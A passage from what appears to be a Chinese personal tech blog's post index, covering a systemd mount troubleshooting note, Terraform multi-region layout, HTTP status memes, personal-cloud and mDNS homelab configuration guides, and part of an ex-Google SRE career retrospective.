的结合就是最好的方式。这种方法不仅能提升开发效率，还能避免手动操作带来的错误。\nIaC的最佳实践：让配置更具可读性、更易维护。也是从这个角度出发。\n","date":"2024-11-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/11/terraform%E9%80%9A%E8%BF%87%E5%88%97%E8%A1%A8%E7%AE%A1%E7%90%86%E8%B5%84%E6%BA%90/","tags":["Terraform","IaC"],"title":"Terraform使用列表来创建资源"},{"categories":["ops"],"contents":"前 线上问题记录：Unit X.mount is bound to inactive unit\n在这篇文章中记录一次线上环境中遇到的一个奇怪问题及其解决过程。问题发生在对新创建的磁盘进行挂载时。虽然通过 mount 命令显示挂载操作已成功，但使用 df -h 检查时却发现挂载并未生效。\n然而，当尝试在另一个目录（例如 /mnt/D2）上进行挂载时，操作却可以顺利完成。\n为了解决问题，进一步深入排查。发现问题似乎与 systemd 相关，因其未被重新更新而导致挂载无法正确生效。所以，写下这篇文章，旨在记录这个问题的发现和分析过程，尝试总结导致该问题的潜在原因。\n定位问题 出现挂载问题之后，首先去检查了磁盘的状态，使用 lsblk df fdisk 等命令尝试去发现问题，但是看起来其输出内容都是正常的。排除了磁盘本身的问题。\n熟悉使用 strace 来跑mount的命令，对比其具体的C调用是否有明显的问题。也没有发现明显异常。排除了系统调用过程中出现的问题。\n尝试创建data2 使用命令挂载到 data2 发现成功挂载，怀疑挂载点问题，使用命令来检查 data 和 data2 的权限，以及特殊标志位的问题，均未发现其他的问题。\nls -ld /data lsattr -d /data stat /data 之后开始怀疑可能是系统内核态的问题，所以dmesg | tail -n20 查看内核日志。内容如下。\n[20382.898799] pci 0000:00:1f.0: [1d0f:8061] type 00 class 0x010802 [20382.898912] pci 0000:00:1f.0: reg 0x10: [mem 0x00000000-0x00003fff] [20382.899106] pci 0000:00:1f.0: enabling Extended Tags [20382.899677] pci 0000:00:1f.0: BAR 0: assigned [mem 0xc0004000-0xc0007fff] [20382.899773] nvme nvme3: pci function 0000:00:1f.0 [20382.899834] nvme 0000:00:1f.0: enabling device (0000 -\u0026gt; 0002) [20382.915781] nvme nvme3: 2/0/0 default/read/poll queues [20730.273270] EXT4-fs (nvme2n1): mounting ext3 file system using the ext4 subsystem [20730.450819] EXT4-fs (nvme2n1): mounted filesystem with ordered data mode. Opts: (null). Quota mode: none. [20856.064034] EXT4-fs (nvme2n1): mounting ext3 file system using the ext4 subsystem [20856.241184] EXT4-fs (nvme2n1): mounted filesystem with ordered data mode. Opts: (null). Quota mode: none. [20896.261646] EXT4-fs (nvme2n1): mounting ext3 file system using the ext4 subsystem [20896.435957] EXT4-fs (nvme2n1): mounted filesystem with ordered data mode. Opts: (null). Quota mode: none. [21223.746810] EXT4-fs (nvme2n1): mounting ext3 file system using the ext4 subsystem [21223.921784] EXT4-fs (nvme2n1): mounted filesystem with ordered data mode. Opts: (null). 但是，从实际上的内容看，mounted 代表着挂载是成功的，还是无法说明挂在失败的原因。继续检查日志查看 syslog\ntail /var/log/syslog Oct 28 09:22:32 ip-172-18-3-78 multipath: nvme2n1: uid = uuid.53290adb-9273-5530-a714-2ce51145e88e (sysfs) Oct 28 09:23:14 ip-172-18-3-78 kernel: [24724.788270] EXT4-fs (nvme2n1): mounting ext3 file system using the ext4 subsystem Oct 28 09:23:14 ip-172-18-3-78 kernel: [24724.924221] EXT4-fs (nvme2n1): mounted filesystem with ordered data mode. Opts: (null). Quota mode: none. Oct 28 09:23:36 ip-172-18-3-78 systemd[1]: data2.mount: Succeeded. Oct 28 09:23:36 ip-172-18-3-78 systemd[3564]: data2.mount: Succeeded. Oct 28 09:24:01 ip-172-18-3-78 kernel: [24771.875507] EXT4-fs (nvme2n1): mounting ext3 file system using the ext4 subsystem Oct 28 09:24:01 ip-172-18-3-78 systemd[1]: data.mount: Unit is bound to inactive unit dev-disk-by\\x2duuid-3ffa8350\\x2d323e\\x2d4f1d\\x2d9ae3\\x2df751190774d2.device. Stopping, too. Oct 28 09:24:01 ip-172-18-3-78 kernel: [24772.016299] EXT4-fs (nvme2n1): mounted filesystem with ordered data mode. Opts: (null). Quota mode: none. Oct 28 09:24:01 ip-172-18-3-78 systemd[1]: Unmounting /data... Oct 28 09:24:01 ip-172-18-3-78 systemd[3564]: data.mount: Succeeded. Oct 28 09:24:01 ip-172-18-3-78 systemd[1]: data.mount: Succeeded. Oct 28 09:24:01 ip-172-18-3-78 systemd[1]: Unmounted /data. 最终发现了异常所在，systemd 主动的把data 给umount 掉了，所以实际上是挂载成功，随即就被systemd 给卸载掉了。看到了 unit 的问题，所以经验上讲可能是 systemd 的mount uuid 状态不对导致，之后尝试\nsystemctl daemon-reload 之后重新挂载，挂载成功。并且 syslog 也没有 unmount 的日志出现了。问题解决。\n为什么 在前面误打误撞的解决了这个挂载“失败”的问题，但是是什么原因导致的？\n于是使用 Unit X.mount is bound to inactive unit 作为搜索关键词得到了下面的结论，又是一个 systemd 的锅，或者是说它多做了一些东西\nSystemd 在启动时 会使用其自己的systemd-fstab-generator读取 /etc/fstab。相当于建立了一个缓存。\n这意味着 Systemd 不会即时的 /etc/fstab 中的更改，因为生成器只运行一次，并且在系统启动后不会再运行，除非手动的进行reload操作。\nsystemd-fstab-generator 是一个生成器，它在启动初期以及重新加载系统管理器配置时将 /etc/fstab（有关详细信息，请参阅 fstab(5)）转换为本机 systemd 单元。\n这也意味着只有系统重启或systemctl daemon-reload才会重新启动 systemd-fstab-generator 并重新读取 /etc/fstab。\n在这个场景下，这台主机之前有一个已经挂载的磁盘，我把磁盘卸载之后重新挂载了新的镜像创建的磁盘。但是其fstab 信息对不上，uuid 之类的发生了改变。所以当我们手动挂载到同一个目录的时候，systemd 发现挂载的磁盘的信息与之前不一致，所以就出现了上面的inactibe 的问题。\n参考 https://mamchenkov.net/wordpress/2017/11/09/systemd-strikes-again-unit-var-whatever-mount-is-bound-to-inactive-unit/ https://www.freedesktop.org/software/systemd/man/latest/systemd-fstab-generator.html https://www.claudiokuenzler.com/blog/1124/linux-mount-not-working-systemd-unit-is-bound-to-inactive ","date":"2024-10-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/10/%E8%AE%B0%E4%B8%80%E6%AC%A1data%E6%97%A0%E6%B3%95%E6%8C%82%E8%BD%BD%E6%88%90%E5%8A%9F/","tags":["OPS","Linux"],"title":"记磁盘无法挂载 X.mount is bound to inactive"},{"categories":["devops"],"contents":"前 Terraform 在基础设施的管理是是非常方便的。但是面对一个中型项目，管理文件的复杂度也会大幅提升。\n特别是针对一个多regoin的项目，需要按regoin来进行拆分和管理，来获得更直观的资源展示。\n这篇文章记录一下现在使用的项目结构，以便后续的复用\n项目结构 ➜ my-server tree . . ├── eu-central-1 │ ├── ec2.tf │ ├── lbs.tf │ ├── main.tf │ ├── security.tf │ └── vars.tf ├── main.tf ├── set_env.sh ├── terraform.tfstate.d │ ├── terraform.tfstate │ └── terraform.tfstate.backup └── us-east-1 ├── ec2.tf ├── main.tf └── security.tf 项目结构如上面的目录树，每一个区域都拆分到了单独的文件夹中，对于多region的中小型项目，可以清晰的拆分各个区域的资源。\n配置文件 在maintf 中，来设置 provider。通过 module 来引入，对应的模块的文件夹。\n# Main.tf terraform { required_providers { aws = { source = \u0026#34;hashicorp/aws\u0026#34; version = \u0026#34;5.63.1\u0026#34; } } backend \u0026#34;local\u0026#34; { path = \u0026#34;./terraform.tfstate.d/terraform.tfstate\u0026#34; } } module \u0026#34;us_east\u0026#34; { source = \u0026#34;./us-east-1\u0026#34; } module \u0026#34;eu_central\u0026#34; { source = \u0026#34;./eu-central-1\u0026#34; } 在子文件夹中，就可以直接在main 里面设置provider 配置，这里设置的是region区域。\n# us-east-1 main.tf provider \u0026#34;aws\u0026#34; { region = \u0026#34;us-east-1\u0026#34; } # eu-central-1 main.tf provider \u0026#34;aws\u0026#34; { region = \u0026#34;eu-central-1\u0026#34; } 通过上面的模块引入之后，就可以使用，标准的方式来预定义一些变量了 。\nvariable \u0026#34;aws_vpc_id\u0026#34; { type = string description = \u0026#34;AWS VPC ID\u0026#34; default = \u0026#34;vpc-xxxx\u0026#34; } locals { vpc_info = { id = \u0026#34;vpc-0936ab715c6cee712\u0026#34; sub_private_a = \u0026#34;subnet-xxxx111\u0026#34; sub_private_b = \u0026#34;subnet-xxxx222\u0026#34; } } variable \u0026#34;public_subnets\u0026#34; { description = \u0026#34;List of Availability Zones\u0026#34; type = list(string) default = [\u0026#34;subnet-xxxxcccc\u0026#34;, \u0026#34;subnet-xxxxdddd\u0026#34;] } 后 以上记录一下，对于多region 的场景下如何来设计项目的目录结构来进行合理的划分和隔离。\n这样避免了单个层级，堆叠了多区域/多文件 带来的管理混乱的问题。\n","date":"2024-10-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/11/terraform%E5%A4%9Aregoin%E6%A0%BC%E5%BC%8F/","tags":["Terraform","IaC"],"title":"Terraform多Region的格式"},{"categories":["杂文"],"contents":"没有什么技术含量，但是整点有意思的东西。看到一套表情包收藏一下。\n可以让用户在看到错误页面后会心一笑。\n2xx 正常系列 200 OK\n202 Accept\n204 No Content\n206 Partial Content\n4xx 資源錯誤系列 400 Bad\n403 Forbidden\n403 Forbidden\n404 Not Found\n410 Gone\n418 I\u0026rsquo;m a Teapot\n3xx 重定向系列 301 Moved Permanently\n301 Moved Permanently\n5xx 伺服器錯誤系列 502 Bad Gateway\n","date":"2024-10-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/10/http-icon/","tags":["Misc"],"title":"HTTP 状态码表情包"},{"categories":["折腾笔记"],"contents":"前 构建一个个人云不仅是一种趋势，更是一种保证数据隐私和掌控权的必要手段。\n然而，大多数情况是我们开一台虚拟机，玩玩之后随他过期上面的东西也都没了。这些部署都是不可持续的 unsustainable\n在我思考了曾经哪些玩玩就扔掉的机器之后，得出结论：\n在设计一个可持续的个人云时，有三个关键特性：整体性、便利性 和 隐私性。\n这些特性直接决定了你的个人云能等持续运行下去。\n整体性：高内聚方便迁移 个人云的架构必须要有灵活性和可迁移性。一个设计良好的个人云，应该具备简易迁移的能力。当环境或设备发生变化时，比如从家庭服务器迁移到云端，或服务器过期迁移。所以个人云的迁移过程应当尽可能简便。\n这不仅意味着配置和数据能够快速同步和恢复，还要保证系统架构具有足够的可扩展性\n整体性是我们个人云的运行关键特性，无论环境如何改变，我们的系统都可以快速迁移。\n便利性：随时随地连接使用 对于个人云而言，便利性意味着用户能够在任何时间、任何地点轻松访问其服务。\n无论是从家里、办公室，还是在外地旅行，个人云的访问应该是稳定、流畅的。\n而且，用户不应当花费过多时间去处理复杂的网络设置和配置问题。\n实现这种便利性的关键是降低访问门槛，减少用户手动配置的步骤。这包括使用反向代理、自动化的网络配置工具\n好的个人云设计，应该几乎不到阻隔的存在，只需通过设备就能直接访问需要的数据或应用。\n隐私性：数据加密传输 隐私性也是很关键的一点。随着个人数据虽然价值密度低，但是对于个人而言还是很重要的。\n所有数据在存储和传输过程中都应当经过加密处理，以防止未经授权的访问。\n在设计个人云时，通信加密和身份验证机制必须被集成到架构中。\n解决方案工具简介 前面分析了一个可持续话个人云的重要的三点要求，下面就是软件架构方案\n软件方案的详细介绍 为了实现这些特性，下列工具被用作实际方案：\nTailscale: 提供私有 VPN 服务，在多主机/VPS之间快速建立安全的网络连接，实现设备间的高速互联，家庭网络/手机客户端的ipv6也可以帮助获取低延迟的体验（同省内直连 ping \u0026lt; 20ms） Cloudflare Tunnel: 通过一键反向代理+隧道的方式，为 self-hosted 应用提供简化的访问路径，减少网络配置的复杂性，提升便利性。 Cloudflare Zero Trust Application: 一键配置提供敏感应用的身份验证功能，确保外部访问的安全性，保护隐私和数据加密传输。 通过这些工具的组合，能够有效地满足个人云的三大核心需求，构建出一个可持续、易用且安全的个人云系统。\n在设计个人云时，选择合适的工具是确保系统高效、可靠和安全的关键。以下是用于实现前述三大核心特性的具体软件方案：\n1. Tailscale Tailscale 提供了一种灵活的 VPN 服务，专注于简化主机之间的互联。通过 Tailscale，用户可以利用内网 IP 直接访问各个设备，无需暴露主机的外部端口，也无需担心公网非加密的流量。\nTailscale 的主要优势在于，它基于 WireGuard 协议，提供了高效的点对点连接，并且自动处理防火墙穿透和 NAT 问题。用户只需轻松配置，即可实现不同主机间的高速互联，无论设备位于家庭网络、云端还是外网，访问都像在同一个局域网中一样简单。这不仅极大提升了整体性和可迁移性，还降低了维护成本。\n2. Cloudflare Tunnel Cloudflare Tunnel 提供了简单、快速的反向代理和隧道服务，它允许用户在不开放任何主机端口的情况下，将本地服务暴露给互联网。其最大的优势在于，可以通过 Cloudflare 的基础架构快速部署一个支持 HTTPS 加密的站点，而无需配置证书或防火墙规则。\n通过 Cloudflare Tunnel，可以让外部用户以安全的方式访问自托管应用，例如个人文件存储系统、博客平台等。Cloudflare 负责处理流量的加密和认证，用户无需担心数据在传输过程中的安全性。这种自动化的部署方式，减少了配置复杂度，极大地提升了便利性。\n但问题是中国地区的主机会默认连接到 SJC 也就是 San Jose, CA, United States，速度相当慢\n3. Cloudflare Zero Trust Application Cloudflare Zero Trust Application 提供了对任意域名的强大鉴权功能。通过简单的配置，用户可以为任何外部应用建立一个安全网关，并通过多种身份验证机制（如 TOTP 或 GitHub OAuth）保护应用的访问。\n这一鉴权网关可以用于保护个人云中敏感的后台管理域名，确保只有经过认证的用户才能访问。\n例如，使用 TOTP（时间一次性密码）或 GitHub 的 OAuth 身份验证，个人云中的应用和服务将得到多层次的保护，进一步增强了隐私性。关于部署流程可以参考\n使用 Cloudflare ZeroTrust保护你的后台页面 软件部署 TBD\n应用场景示例 可以实现多个自托管应用和服务的高效部署。以下是一些常见的应用场景：\n个人文件同步与备份 使用 Tailscale 让家中的 NAS 设备与笔记本电脑建立 VPN 连接，无论身在何处都可以通过内网 IP 快速访问文件。通过 Cloudflare Tunnel，可以将文件存储系统如 Nextcloud 暴露到互联网上，实现随时随地的文件访问。 自托管博客或网站 通过 Cloudflare Tunnel，可以快速将自托管的博客（如 Ghost 或 WordPress）暴露给互联网用户，并自动获得 HTTPS 加密保护。借助 Cloudflare Zero Trust Application，还可以为博客的管理后台设置 TOTP 验证，避免后台受到恶意攻击。 远程桌面与开发环境 使用 Tailscale，将家庭服务器或工作站与笔记本电脑连接，随时远程访问开发环境。无需担心端口暴露或公网访问的安全问题，所有流量都经过加密隧道处理。 个人任务管理与笔记 使用 Cloudflare Tunnel 将自托管的任务管理工具（如 Kanboard）或笔记工具（如 Joplin Server）部署到互联网上，随时通过加密连接访问和管理任务、笔记。Zero Trust 可以为这些应用添加额外的身份验证层，确保敏感信息的安全性。 通过这些工具和应用场景，可以构建一个高效、安全、可持续的个人云，既满足日常使用需求，又确保了未来的可扩展性和数据隐私。\n","date":"2024-09-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E4%B8%AA%E4%BA%BA%E4%BA%91/","tags":["Homelab","个人云","VPN","Cloudflare"],"title":"如何设计一个可持续性的个人云"},{"categories":["折腾笔记"],"contents":"前 在 Homelab 中折腾了一段时间后，我发现自己陷入了一个困境：随着设备数量的增加，管理 IP 地址变得越来越痛苦。\n典型的场景是这样的：\nSSH 到某台服务器：ssh user@192.168.1.101，等等，101 是哪台机器来着？ 访问某个服务：http://192.168.2.88:8080，这个 88 又是什么？ 更糟糕的是，DHCP 租约过期后 IP 变了，所有的配置都要改一遍 我尝试过给每台设备绑定静态 IP，但这种方案有几个问题：\nIP 地址难以记住：20+ 台设备，每个都要记住对应的 IP 静态绑定不优雅：在路由器上一个个配置 DHCP 静态绑定很繁琐 缺乏灵活性：设备迁移到其他网络时需要重新配置 后来我发现了 mDNS（多播域名系统），它完美地解决了这些问题。配置完成后，我可以直接使用 server3.local、pfsense.local 这样的域名来访问设备，再也不用记 IP 地址了。\n这篇文章记录了我在 OpenWrt + pfSense 双层路由环境下配置 mDNS 的完整过程，包括踩过的坑和解决方案。\n我的网络环境 我的网络是两层路由结构：\n一级路由：OpenWrt，家庭主路由器，网段 192.168.1.0/24 二级路由：pfSense，虚拟机网络路由器，网段 192.168.2.0/24 这样设置的目的是将虚拟机网络与主网络解耦，让 VM 可以独立运行并组成一个独立的集群。但这也带来了跨网段访问的问题，mDNS 的 reflector 功能正好可以解决这个问题。\n路由配置篇 我的一级路由用的是 OpenWrt，二级路由用的是 pfSense。虽然系统不同，但配置思路是类似的。\n核心组件是 Avahi，一个开源的 mDNS/DNS-SD 实现。OpenWrt 和 pfSense 都可以直接安装。\nOpenWrt 安装配置 安装 Avahi\nopkg update opkg install avahi-daemon-service-ssh avahi-daemon-service-http 修改配置文件\n编辑 /etc/avahi/avahi-daemon.conf：\n[server] use-ipv4=yes use-ipv6=yes check-response-ttl=no use-iff-running=no allow-interfaces=br-lan # 指定监听的网络接口 [publish] publish-addresses=yes publish-hinfo=yes publish-workstation=no publish-domain=yes [reflector] enable-reflector=yes # 关键：启用 reflector 功能，用于跨网段转发 reflect-ipv=no [rlimits] rlimit-core=0 rlimit-data=4194304 rlimit-fsize=0 rlimit-nofile=30 rlimit-stack=4194304 rlimit-nproc=3 关键配置说明\nallow-interfaces=br-lan：指定 Avahi 监听的网络接口 enable-reflector=yes：启用 reflector 功能，这是实现跨网段 mDNS 的核心 参考：\nhttps://openwrt.org/docs/guide-developer/mdns\nhttps://openwrt.org/docs/guide-user/network/zeroconfig/zeroconf\npfSense 安装配置 安装插件\n在 pfSense 的 Package Manager 中搜索并安装 avahi 插件。\n关键问题：WAN 接口配置\n这里我踩了个坑。pfSense 默认不允许在 WAN 接口启用 mDNS，这是出于安全考虑（如果 WAN 是公网，确实不应该暴露 mDNS）。\n但在我的两层路由场景下，二级路由的 WAN 接口连接的是一级路由的 LAN，需要在 WAN 接口启用 mDNS 才能实现跨网段通信。\n解决方法：修改插件源码\n编辑 /usr/local/www/avahi_settings.php，找到并注释掉 WAN 过滤代码：\n// vi /usr/local/www/avahi_settings.php // 找到两处 wan 的过滤代码，注释掉： // unset($available_interfaces[\u0026#39;wan\u0026#39;]); 修改后，在 Web 控制台就可以看到 WAN 选项了，同时选中 WAN 和 LAN 启用。\n生成的配置文件\n修改后 pfSense 会自动生成配置文件（位于 /usr/local/etc/avahi/avahi-daemon.conf）：\n这里需要注意：不推荐直接手动修改这个配置文件，因为它会被 GUI 覆盖。建议通过修改 PHP 源码让 GUI 支持 WAN 配置。\n参考配置内容\n# /usr/local/etc/avahi/avahi-daemon.conf [server] allow-interfaces=em0,em1 # WAN 和 LAN 接口 use-ipv4=yes use-ipv6=no [publish] publish-addresses=yes publish-domain=yes [reflector] enable-reflector=yes # 启用跨网段转发 可选：启用 D-Bus\n某些情况下可能需要启用 D-Bus：\nmkdir -p /var/run/dbus/ dbus-daemon --system 至此 pfSense 的配置就完成了。\n防火墙配置 重要：mDNS 使用 UDP 5353 端口，需要在防火墙中开放此端口。\n确保允许以下流量：\n源：LAN 主机 目标：路由器本机（224.0.0.251，mDNS 组播地址） 端口：UDP 5353 具体配置方法因路由器而异，在 OpenWrt 或 pfSense 的防火墙规则中添加即可。\n主机配置 路由器配置完成后，还需要配置各个主机才能使用 mDNS。我这里以 Ubuntu Server 为例。\n设置 Hostname 首先给主机设置一个有意义的 hostname：\nsudo hostnamectl set-hostname server3 之后就可以通过 server3.local 访问这台主机了。\n配置网络为 DHCP mDNS 的一大优势是不需要静态 IP，所以把网络配置改为 DHCP：\n# 编辑 netplan 配置 vim /etc/netplan/00-installer-config.yaml network: ethernets: ens34: dhcp4: true version: 2 # 应用配置 netplan apply 启用 systemd-resolved 的 mDNS 功能 Ubuntu 新版本使用 systemd-resolved 管理 DNS，需要在这里启用 mDNS：\n# 编辑配置文件 vim /etc/systemd/resolved.conf [Resolve] MulticastDNS=yes LLMNR=yes 或者用命令一键修改：\nsed -i \u0026#34;s|#MulticastDNS=no|MulticastDNS=yes|g\u0026#34; /etc/systemd/resolved.conf sed -i \u0026#34;s|#LLMNR=no|LLMNR=yes|g\u0026#34; /etc/systemd/resolved.conf systemctl restart systemd-resolved 踩坑：Netplan 不支持 mDNS 配置 这里有个大坑。即使修改了 resolved.conf，mDNS 在网络接口上仍然是关闭的：\n# 检查接口的 mDNS 状态 resolvectl mdns ens34 # 输出：Link 2 (ens34): no # 手动启用 resolvectl mdns ens34 yes 但这个设置重启后会失效，因为 Netplan 不支持 mDNS 配置（相关 Bug，2019 年提出至今未修复）。\nNetplan 会在 /run 目录下生成配置文件，优先级高于 /etc，导致手动修改无效。\n解决方案：创建 systemd 服务\n既然是开机自启动的问题，那就用 systemd 来解决：\n创建 systemd 服务文件：\ncat \u0026lt;\u0026lt; EOF \u0026gt; /etc/systemd/system/user-set-mdns@.service [Unit] Description=Enable MulticastDNS on network interface After=systemd-resolved.service [Service] ExecStart=resolvectl mdns %i yes [Install] WantedBy=multi-user.target EOF 启用服务（替换 ens34 为你的网卡名称）：\nsudo systemctl enable user-set-mdns@ens34 sudo systemctl start user-set-mdns@ens34 sudo systemctl status user-set-mdns@ens34 至此，主机的 mDNS 配置就完成了，重启后也会自动生效。\n方案二：使用 Avahi（适用于老系统） 如果你的系统没有使用 systemd-resolved（比如老版本的 Ubuntu 或 Debian），可以直接安装 Avahi：\nsudo apt-get install avahi-daemon libnss-mdns libnss-mymachines 安装后 Avahi 会自动启动，无需额外配置。\n验收测试 配置完成后，让我们测试一下效果。\n基本测试 现在可以抛弃 IP 地址，直接使用 .local 域名访问设备：\nping server3.local ping code-env.local ping vm-proxy.local ping pfsense.local ping openwrt.local 实际使用场景 SSH 连接\n# 以前 ssh user@192.168.2.101 # 现在 ssh user@server3.local 访问 Web 服务\n# 以前 http://192.168.2.88:8080 # 现在 http://vm-proxy.local:8080 容器配置\n# docker-compose.yml services: app: environment: - DATABASE_URL=postgresql://postgres@db-server.local:5432/mydb 跨网段测试 最重要的是测试跨网段访问，确认 reflector 功能正常工作：\n# 从一级网络（192.168.1.x）访问二级网络设备 ping vm-server.local # 这台设备在 192.168.2.x 网段 # 从二级网络访问一级网络设备 ping openwrt.local # 这台设备在 192.168.1.x 网段 如果能 ping 通，说明 mDNS reflector 配置成功！\n补充说明 二级路由的 IP 配置注意事项 后续重新部署时发现一个问题：如果 pfSense 二级路由使用静态 IP，会导致一级路由无法获取二级的 mDNS 记录。\n解决方法\n在一级路由（OpenWrt）上通过 DHCP 静态绑定给二级路由分配 IP 不要在二级路由上直接配置静态 IP 配置好后重启二级路由 OpenWrt 防火墙规则（命令行方式） 如果你习惯用命令行配置 OpenWrt 防火墙，可以使用以下命令：\nuci -q delete firewall.mdns uci set firewall.mdns=\u0026#34;rule\u0026#34; uci set firewall.mdns.name=\u0026#34;Allow-mDNS\u0026#34; uci set firewall.mdns.src=\u0026#34;*\u0026#34; uci set firewall.mdns.src_port=\u0026#34;5353\u0026#34; uci set firewall.mdns.dest_ip=\u0026#34;224.0.0.251\u0026#34; uci set firewall.mdns.dest_port=\u0026#34;5353\u0026#34; uci set firewall.mdns.proto=\u0026#34;udp\u0026#34; uci set firewall.mdns.target=\u0026#34;ACCEPT\u0026#34; uci commit firewall /etc/init.d/firewall restart 后 配置完 mDNS 已经几个月了，现在回想起来，这是我在 Homelab 中做的最有价值的优化之一。\n带来的改变 管理效率提升\n不再需要维护一个 IP 地址清单 设备迁移或重启后不用担心 IP 变化 写配置文件时直接用域名，可读性大大提升 实际案例\n最近我重装了一台服务器，以前的流程是：\n安装系统 登录路由器配置静态 IP 绑定 更新所有相关配置文件中的 IP 重启依赖这台服务器的其他服务 现在的流程：\n安装系统 设置 hostname 完事 其他服务根本不需要改配置，因为它们用的是 server3.local 这样的域名，自动就能找到新的 IP。\n一些建议 命名规范很重要\n建议给设备起一个有意义的 hostname：\nnas.local 而不是 server1.local pve-node1.local 而不是 vm1.local k8s-master.local 而不是 ubuntu-001.local 好的命名可以让你半年后还记得这台设备是干什么的。\n文档还是要有的\n虽然不用记 IP 了，但建议维护一个简单的设备清单：\n设备名称和 hostname 主要用途和运行的服务 重要配置文件位置 安全性考虑\nmDNS 只适合内网使用，不要在公网暴露：\n路由器 WAN 口不要启用 mDNS 如果有公网 IP，确保防火墙规则正确 mDNS 流量不应该离开你的局域网 总结 mDNS 确实是 Homelab 的良药。它解决了 IP 地址管理的痛点，让网络配置更加灵活和优雅。虽然配置过程有一些坑（特别是 Netplan 的问题），但一旦配置好，体验提升是显著的。\n如果你也在运营 Homelab，强烈建议试试 mDNS。配置时间不会超过一个下午，但带来的便利是长期的。\n希望这篇文章能够帮助你顺利配置 mDNS，少走一些弯路。\n参考链接 https://forum.netgate.com/topic/134339/new-avahi-package/11 https://forum.netgate.com/topic/142916/avahi-failed-to-create-client-object-daemon-not-running/2 https://openwrt.org/docs/guide-developer/mdns https://www.linksysinfo.org/index.php?threads/avahi-tutorial-configuring-a-reflector-aka-mdns-repeater.75706/ https://0e39bf7b.blog/posts/mdns-on-ubuntu-server/ https://bugs.launchpad.net/netplan/+bug/1830507 ","date":"2024-09-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/mdnshomelab-%E7%BD%91%E7%BB%9C%E7%9A%84%E8%89%AF%E8%8D%AF/","tags":["Homelab","mDNS","OpenWrt","pfSense"],"title":"mDNS：Homelab 网络的良药"},{"categories":["好文分享"],"contents":" 微小的挣扎 一直在修修补补些什么。\n我开始写这篇回顾时，正值在谷歌的最后一周，我已经结束了所有事情，并告别了同事们。作为一名前SRE（站点可靠性工程师），我觉得用事后分析的方式来总结这段经历会很有趣。\n简介 我在加入谷歌时年纪还很轻，经验也相对不足，前后在谷歌工作了约9年。\n我的软件之旅始于19岁，当时开始了第一份实习，之后一边继续完成应用物理学的学位，一边继续兼职或全职工作。在学位过程中，我对物理工作逐渐失去了兴趣，软件反而成了更有前途的职业方向。\n某个时候，我被谷歌的一名猎头发现，最终这为我带来了在伦敦的实习机会，彼时我22岁，之后我全职加入了位于都柏林的谷歌。我参与了多个团队，专注于三个产品：Bigtable、持久磁盘（Persistent Disk）和谷歌云虚拟机（GCE VMs）。文末我附上了详细的时间线。\n我对加入谷歌的期望是什么？ 在伦敦实习期间，我初尝谷歌文化后，充满了期待。吸引我的是工程的深度，技术的复杂性以及工程师的水准。\n在那之前，我只在波兰的小型软件公司和创业公司工作过，而谷歌……谷歌拥有世界上最好的技术之一，我有机会与之共事并学习，这让我非常兴奋。\n谷歌给我留下了深刻的印象。我不认为自己会很快感到厌倦，我可能会在那里待上更长时间，也许甚至五年还会继续学习。除此之外，吸引我的还有薪水、福利和国际化的有趣社群。\n从大局来看，我当时的目标是创办自己的公司，但在谷歌的这段“绕路”可以为我未来创业打下更好的基础，获得技能、乐趣和资金。所以，我决定一试。\n那么，实际情况如何呢？ 总体而言，这段经历非常精彩，有高潮也有低谷。期间有温暖人心的时刻、团队合作的快乐与满足，但也伴随着许多压力与挫折。\n这是一场互利的交换，我投入了精力、心血和认知资源，而我从中得到了：\n丰厚的收入 各种层次的工程技能，尤其是世界级的危机处理和调试能力 领导力与管理技能 身为一间酷公司的一部分的满足感 很棒的公司外出活动和商务旅行 生活方式的福利也包括：\n办公室里的游泳池、世界级的健身房、各种运动课程、每周的按摩、健康或美味的餐饮、现场医疗护理 优秀的社群与人际关系 为什么这个交换不再对我有吸引力了？ 有几个因素影响了我的决定：\n达到了我的财务目标甚至超出了 对谷歌技术的迷恋逐渐消退： 行业技术开始赶上 实际工作没想象中那么令人兴奋 我的兴趣逐渐饱和或转移 希望创办自己的公司（我可以等待，但不想等太久） 公司变得不再那么有趣或酷 预算削减（商务旅行减少，外出活动不再那么令人惊叹） 裁员 人员转移至廉价地区，导致我在本地的组织扩展机会减少 安全和监管相关的繁文缛节增加 复杂系统与团队间的关系导致工程挑战加剧，工作速度减慢 认知负荷过大——尤其是在之前的角色中，谷歌的技术非常复杂，新员工可能需要一年时间才能完全适应，这有点疯狂 个人成长机会不太明确 没有明显的转变，只是更多的相似经历（虽然这种稳定性也有价值，但我不想停滞不前） 职业发展达到瓶颈：L6是很高的技术职级，而我对L7不感兴趣，因为L7更偏向政治性的角色，而非个人工程角色。管理路线上的机会也有限……如果我有机会成为大规模组织的管理者，我或许会待得更久。 技术工作的形态与我希望发展的方向不一致。 学到的经验 要将九年的学习总结成几句话是很难的。我学到了技术技能、软技能，变得更优秀、更智慧，也成为了一个更好的领导者。\n作为一个（有点焦虑的）过度追求完美的人，我始终觉得自己可以做得更好，这也不断激励我努力学习和进步。\n成功之处 我升职速度很快 最终达到了L6，这个职级很受认可且薪酬优渥 我总是拥有很多自主权 能够坚持工作与生活的平衡（合理的工作时间与工作量） 激励人心的同事们，他们聪明且充满干劲 赚到了超出我想象的钱 享受了许多福利，过上了非常健康的生活方式 有很多有趣的工作旅行（商务与外出活动） 作为工程师和领导者都得到了成长 软技能得到了极大的提升 结交了许多工作上的朋友 学到了许多有趣的技术 有机会从零创建自己的团队 以60%或80%的工作时间模式工作，这对我的生活方式和工作外的人际关系有极大帮助 学会了处理（慢性）压力的许多方法 失败之处 我在SRE岗位上待得太久——都柏林没有太多选择，而我也没有搬到其他地点（由于惰性、个人原因等） 值班压力大，影响了我的睡眠 这份工作与我的乐观、富有创造性的性格不太契合——这导致了某种程度上的失落感，我在工作中没有得到充分满足，而是通过外部项目来弥补 24/7的工作性质使得很难完全脱离工作 美国为中心的文化——如果你不在美国，而是处于谷歌的非中心地区，可能会感觉逆流而上，容易被孤立，或是被晚间会议压得喘不过气 人员配置计划的变化——我曾两次被承诺团队扩展，最终都被取消了，或者以另一种形式再次承诺 高级管理人员被事务淹没，未能提供支持、反馈或有效的监督（有时感觉有些像“狂野西部”） 有很多时候，我感到被会议、重复性工作和资源不足的团队压得喘不过气，同时也没有好的工程或管理成长机会 